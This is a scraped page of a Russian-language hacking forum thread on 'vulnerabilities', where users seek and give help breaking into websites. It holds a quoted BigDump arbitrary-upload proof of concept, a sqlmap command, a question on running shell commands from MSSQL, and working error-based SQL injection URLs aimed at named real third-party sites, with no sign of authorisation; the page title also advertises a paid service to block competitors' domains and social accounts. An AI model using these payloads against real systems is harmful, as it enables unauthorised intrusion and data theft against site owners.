УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 153 из 296

153

Опции темы

Поиск в этой теме

Опции просмотра

#1521

02.12.2016, 19:37

Octavian

Guest

Сообщений: n/a

Провел на форуме:
97114

Репутация: 24

Тут во втором примере ошибка?

http://2sql.ru/novosti/sql-limit/

SELECT UniversityName FROM Universities LIMIT 4, 6

не даст 4 5 6 запись?

Типо покажи 6 записеи начиная с 4?

А 4 это 5 потому что нумерация начинается с 0.Я прав?

#1522

03.12.2016, 05:28

swat_

Новичок

Регистрация: 04.11.2009

Сообщений: 4

Провел на форуме:
233049

Репутация: 0

подскажите пожалуйста как использовать данную уязвимость https://www.exploit-db.com/exploits/32479/

Цитата:

Сообщение от None

[+] Arbitrary Upload on BigDump v0.35b
[+] Date: 23/03/2014
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage:
http://www.ozerov.de/bigdump/
[+] Contact:
felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: bigdump.php
[+] Version: v0.35b
[+] Exploit :
http://host/bigdump.php?start=
[+] PoC:
http://SERVER/bigdump.php?start=
Note: allows upload files and shells with tamperdate.

#1523

03.12.2016, 14:44

SaNDER

Guest

Сообщений: n/a

Провел на форуме:
51198

Репутация: 3

В одном сайте,который на Yii 1.1.14 в text=1'&type=0&view=search ( где кавычка ) можно крутить . Только вот не понимаю какие запросы составлять . Есть желающие помочь?

PHP Version 4.4.45

Curl 7.19.7

OpenSSL 1.0.1e-fips 11 Feb 2013

MySQL 5.1.59

---------------------------------------

Стандартная ошибка CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near и.т.д

#1524

03.12.2016, 18:17

SaNDER

Guest

Сообщений: n/a

Провел на форуме:
51198

Репутация: 3

Цитата:

Сообщение от BabaDook

BabaDook said:
↑
sqlmap не работает?

Параметры 'id' 'text' и.т.д воспринимает как за команду в консоли .

#1525

03.12.2016, 18:28

pw0ned

Guest

Сообщений: n/a

Провел на форуме:
33728

Репутация: 14

Цитата:

Сообщение от SaNDER

SaNDER said:
↑
Параметры 'id' 'text' и.т.д воспринимает как за команду в консоли .

Код:

Code:
sqlmap.py -u "http://site.ru/?text=1&type=0&view=search" --dbs

#1526

03.12.2016, 20:14

hiderat

Guest

Сообщений: n/a

Провел на форуме:
3584

Репутация: 0

Подскажите. Из из майкрософт sql можно отдать команду в cmd?

#1527

05.12.2016, 00:30

swat_

Новичок

Регистрация: 04.11.2009

Сообщений: 4

Провел на форуме:
233049

Репутация: 0

Цитата:

Сообщение от swat_

swat_ said:
↑
подскажите пожалуйста как использовать данную уязвимость
https://www.exploit-db.com/exploits/32479/

up

не кто не сталкивался?

#1528

05.12.2016, 01:16

mlmeet

Guest

Сообщений: n/a

Провел на форуме:
1314

Репутация: 0

Всем привет. Лет пять не пользовала SQL инъекции, подзабыла все

Есть инъект вида http://сайт.ru/korzina'/

Извергает ошибку:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''korzina'' LIMIT 0, 1' at line 1 -

SELECT * FROM `tehnocity_menu` WHERE `sim_link`='korzina'' LIMIT 0, 1

Но как бы я дальше не ковыряла, ничего толком не выходит. Направьте в какую сторону копать.

Что пробовала:

Втыкала Юнион. Не проскакивает. Такое впечатление, что -- не отрабатывает вообще. Не отбрасывается хвост запроса хоть убей.

В общем на вас вся надежда

Вот пример http://stylesosh.ru/Orangevaya-tolstovka'/

Вот сайт на той же CMS и другой дырявый скрипт

http://www.pulverisator.ru/Trubki/?orderby=pric'e&par=dec

#1529

05.12.2016, 12:16

mlmeet

Guest

Сообщений: n/a

Провел на форуме:
1314

Репутация: 0

Цитата:

Сообщение от palec2006

palec2006 said:
↑

Код:

Code:
http://stylesosh.ru/Orangevaya-tolstovka'and+extractvalue(1,concat(0x3a,(version())))and'/

Код:

Code:
http://www.pulverisator.ru/Trubki'and+extractvalue(1,concat(0x3a,(version())))and'/

Спасибо! В целом вижу, что работает, но никогда не пользовалась extractvalue. Как мне подставить запрос сюда? Если вместо version(), то пишет Only constant XPATH queries are supported

#1530

05.12.2016, 12:54

BabaDook

Guest

Сообщений: n/a

Провел на форуме:
238786

Репутация: 40

Цитата:

Сообщение от mlmeet

mlmeet said:
↑
Спасибо! В целом вижу, что работает, но никогда не пользовалась extractvalue. Как мне подставить запрос сюда? Если вместо version(), то пишет Only constant XPATH queries are supported

http://securityidiots.com/Web-Pentes...ractvalue.html